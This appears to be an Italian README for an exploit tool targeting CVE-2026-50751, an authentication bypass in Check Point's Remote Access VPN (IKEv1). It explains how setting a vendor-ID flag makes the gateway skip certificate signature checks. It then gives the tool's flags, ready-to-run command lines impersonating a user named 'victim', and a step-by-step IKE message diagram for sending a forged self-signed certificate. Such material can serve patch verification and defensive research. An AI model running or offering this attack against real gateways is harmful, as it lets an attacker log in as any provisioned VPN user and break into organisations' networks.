
Bypass dell'autenticazione tramite certificato nella VPN Remote-Access di Check Point (IKEv1).
Bypass dell'autenticazione tramite certificato nella VPN Remote-Access di Check Point (IKEv1).
CVE-2026-50751 è un bypass dell'autenticazione nel demone iked di Check Point, presente nelle versioni R81.10, R82 e R82.10 senza l'hotfix sk185033. Il difetto consente di autenticarsi come qualsiasi utente di Remote Access provisionato senza chiave privata, senza password e senza certificato valido.
L'iked vulnerabile legge un flag dal Vendor ID VPNExtFeatures (bit 0x4) e, se attivato, omette verify_peer_auth / verifyMessagePhase1. Di conseguenza:
Non viene verificata la firma del certificato (prova di possesso).
Non viene verificata la catena di fiducia.
Si controlla solo che il subject DN risolva a un utente provisionato.
È sufficiente forgiare un certificato autofirmato il cui CN= coincida con l'utente obiettivo e inviarlo con una firma non valida. Se il gateway accetta la fase 1, siamo autenticati come quell'utente (la SA ISAKMP viene salvata sotto il suo DN).
Funziona su IKE (UDP 500/4500) e su Visitor Mode (TCPT, TCP 443).
Sintassi
cve-2026-50751 -host <IP|hostname> -user <username> [opzioni]
| Flag | Descrizione | Predefinito |
|---|
-host | IP o hostname del gateway (obbligatorio) | — |
-user | Username RA da impersonare (obbligatorio) | — |
-port | Porta: 500, 4500 (UDP) o 443 (TCPT) | 500 |
-org | Organizzazione (O=) della ICA. Se omessa, viene derivata dal cert TLS | — |
-ou | Unità organizzativa (OU=) dell'utente | users |
-timeout | Timeout per operazione | 6s |
-retries | Tentativi di msg1 | 1 |
-v | Output verboso | false |
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v
Attaccante Gateway (iked vulnerabile)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Legge flag 0x4
│ │ Imposta verify_peer_auth = skip
│◀── msg2: SA accettato ───────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrato): ID=DN forgiato + CERT autofirmato │
│ + firma casuale ─────────────────────▶│
│ │ Omette la verifica
│ │ della firma
│ │ Risolve DN → utente
│◀── msg6 (cifrato): SA stabilita ─────────────────────────│
│ │
│ Decifra msg6 con SKEYID_e → prova di autenticazione │